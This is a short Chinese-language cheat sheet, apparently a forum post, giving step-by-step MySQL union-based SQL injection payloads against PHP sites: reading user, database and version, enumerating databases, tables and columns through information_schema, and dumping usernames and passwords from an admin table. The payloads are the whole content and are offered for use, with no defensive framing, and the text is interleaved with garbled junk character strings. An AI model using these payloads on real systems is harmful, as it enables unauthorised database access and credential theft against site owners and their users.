mysql盲注手册

admin

, _* @- q1 c0 @7 a, y教程内容:Mysql 5+php 注入
$ F% I6 {) E% [- u1 n% K


1 \* b$ `+ _1 a8 r4 n一.查看MYSQL基本信息(库名,版本,用户)
0 V5 ?, k- I( ^! z
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

' v! o* [+ f' X, _: F8 q二.查数据库
8 b7 X7 r' C6 M: R0 C
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
" w. S1 C, @. H0 K
4 [; q: f1 y1 f! l; M9 ]( c8 Vlimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
1 k: Y2 d! K! |$ s3 r$ N( x
. \- [1 S! F% K  i8 t/ o( G四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

8 t" P- q# I, X  p& ^0 olimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

" v8 @4 o. x' C& r. W五.暴数据

and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


# A/ t* x) f/ z' C  N0 }& q! r这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。